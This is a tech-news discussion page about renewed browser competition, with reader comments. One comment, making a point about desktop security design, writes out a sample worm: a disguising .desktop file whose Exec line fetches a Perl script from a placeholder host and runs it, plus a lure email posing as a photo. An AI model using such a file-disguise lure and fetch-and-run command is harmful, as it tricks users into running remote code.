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Browser Wars 2: Electric Boogaloo

Posted by ryuzaki0 on from the better-than-orc-and-pie dept.

Tomas wrote to mention an article up on XYZ Computing discussing what is shaping up to be another round of the Browser Wars. From the article: "To anyone that has been following the Window's browser news lately, it is apparent that the stage is set for another browser war. Last experienced during the nineties, companies are fighting over which program consumers use to view the internet. For the average computer user this is a very good thing as it should drastically improve browser performance in a short period of time."

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  1. Article is a click troll by Animats · · Score: 5, Informative
    Ads to the left. Ads to the right. Ads at the top. Ads in the middle. One paragraph of content per page, then more ads.

    Dumb article, too.

    The next big play in the "browser wars" should be more aggressive ad blocking.

  2. Re:what do you mean MS doesn't do tabs? by diegocgteleline.es · · Score: 5, Informative

    This option was largely responsible for the success of email viruses that came as attachments named "big_boobs.jpg.exe"

    IMO the problem there was the .exe extension, not that they hide it. No matter what you do, a .exe file is executable. Compare it to the Unix's permission model. You could download a executable from internet, but it wouldn't work because it has not the +x bit set.

    And don't think you're free of the Windows braindamage in linux/BSD. Freedesktop managed to fuck it again, with the "desktop specification file" (Warning: don't try to discuss this with the freedesktop guys. I already tried). Noticed how nautilus and konqueror hide the extension in .desktop files? Noticed how inside a .desktop file you have a "Run=" field where you can put "Run=wget www.foo.com/worm.pl; perl worm.pl"? Noticed in fact how you can hide the whole file name by adding a "Name=" field?

    In fact, look at the following valid worm:

    I'm called Mary, and I want to know what you think about my new bikini
    To see me, save the attached file in your desktop and double click it. Kisses!

    attached file: save.to.your.desktop
    Name=My Bikini zoomed.jpg
    Icon=fakeiconpresentonthesystem.png
    Exec=wget http://www.foo.com/evilperlscript; perl evilperlscript

    We just need more marketshare to see this work.